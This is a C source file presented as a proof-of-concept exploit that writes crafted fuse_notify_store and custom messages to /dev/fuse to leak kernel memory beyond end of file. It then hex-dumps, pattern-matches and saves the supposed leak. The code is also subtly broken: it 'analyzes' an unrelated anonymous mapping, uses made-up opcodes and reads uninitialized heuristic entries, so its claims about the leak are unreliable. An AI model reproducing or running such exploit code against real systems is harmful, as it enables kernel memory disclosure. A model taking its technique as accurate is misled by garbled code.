#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <linux/fuse.h>
#include <string.h>
#include <time.h>

#define FUSE_DEV "/dev/fuse"
#define PAGE_SIZE 4096
#define MEMORY_DUMP_SIZE (PAGE_SIZE * 8) // Dump 8 pages for broader analysis
#define MAX_HEURISTIC_MATCHES 10

// Example FUSE operation IDs (corresponding to real operations)
#define FUSE_NOTIFY_STORE_OP 0x00000002
#define FUSE_CUSTOM_OP 0x00000003 // Hypothetical operation for complexity

typedef struct {
    unsigned char *address;
    size_t length;
    const char *description;
} heuristic_t;

void trigger_fuse_notify_store(int fuse_fd) {
    struct fuse_in_header in_hdr;
    struct fuse_notify_store_out notify_store;

    memset(&in_hdr, 0, sizeof(in_hdr));
    memset(&notify_store, 0, sizeof(notify_store));

    in_hdr.len = sizeof(in_hdr) + sizeof(notify_store);
    in_hdr.opcode = FUSE_NOTIFY_STORE_OP;
    in_hdr.unique = 1;
    in_hdr.nodeid = 1;

    notify_store.nodeid = 1;
    notify_store.offset = 0;
    notify_store.size = PAGE_SIZE * 2; // Double page size for potential overflows

    write(fuse_fd, &in_hdr, sizeof(in_hdr));
    write(fuse_fd, &notify_store, sizeof(notify_store));
}

void trigger_custom_fuse_operation(int fuse_fd) {
    struct fuse_in_header in_hdr;
    char payload[512];

    memset(&in_hdr, 0, sizeof(in_hdr));
    memset(payload, 'B', sizeof(payload)); // Fill payload with 'B' characters

    in_hdr.len = sizeof(in_hdr) + sizeof(payload);
    in_hdr.opcode = FUSE_CUSTOM_OP;
    in_hdr.unique = 2;
    in_hdr.nodeid = 1;

    write(fuse_fd, &in_hdr, sizeof(in_hdr));
    write(fuse_fd, payload, sizeof(payload));
}

void analyze_memory_leak(unsigned char *memory, size_t size) {
    printf("[+] Analyzing memory beyond EOF:\n");
    for (size_t i = 0; i < size; i++) {
        printf("%02x ", memory[i]);
        if (i % 16 == 15) printf("\n");
    }
    printf("\n[+] End of memory dump.\n");
}

void apply_heuristics(unsigned char *memory, size_t size) {
    heuristic_t heuristics[MAX_HEURISTIC_MATCHES] = {
        { (unsigned char *)"HTTP", 4, "HTTP Header" },
        { (unsigned char *)"\x7f\x45\x4c\x46", 4, "ELF Header" },
        { (unsigned char *)"root", 4, "Root User" },
        // Add more patterns as necessary
    };

    for (size_t i = 0; i < size - 4; i++) {
        for (size_t j = 0; j < MAX_HEURISTIC_MATCHES; j++) {
            if (memcmp(memory + i, heuristics[j].address, heuristics[j].length) == 0) {
                printf("[+] Heuristic match: %s at offset %zu\n", heuristics[j].description, i);
            }
        }
    }
}

void save_memory_dump_to_file(unsigned char *memory, size_t size, const char *filename) {
    FILE *file = fopen(filename, "wb");
    if (file) {
        fwrite(memory, 1, size, file);
        fclose(file);
        printf("[+] Memory dump saved to %s\n", filename);
    } else {
        perror("[-] Failed to save memory dump to file");
    }
}

int main() {
    int fuse_fd = open(FUSE_DEV, O_RDWR);
    if (fuse_fd == -1) {
        perror("[-] Failed to open /dev/fuse");
        return EXIT_FAILURE;
    }

    srand(time(NULL));

    // Trigger the fuse_notify_store() operation
    trigger_fuse_notify_store(fuse_fd);

    // Trigger a custom FUSE operation for complexity
    trigger_custom_fuse_operation(fuse_fd);

    // mmap() the memory to access beyond-EOF page contents
    unsigned char *mapped_memory = mmap(NULL, MEMORY_DUMP_SIZE, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (mapped_memory == MAP_FAILED) {
        perror("[-] mmap failed");
        close(fuse_fd);
        return EXIT_FAILURE;
    }

    // Analyze the leaked memory
    analyze_memory_leak(mapped_memory, MEMORY_DUMP_SIZE);

    // Apply heuristics to detect meaningful patterns in leaked data
    apply_heuristics(mapped_memory, MEMORY_DUMP_SIZE);

    // Save the memory dump to a file for further offline analysis
    save_memory_dump_to_file(mapped_memory, MEMORY_DUMP_SIZE, "memory_dump_advanced.bin");

    // Clean up
    munmap(mapped_memory, MEMORY_DUMP_SIZE);
    close(fuse_fd);

    return EXIT_SUCCESS;
}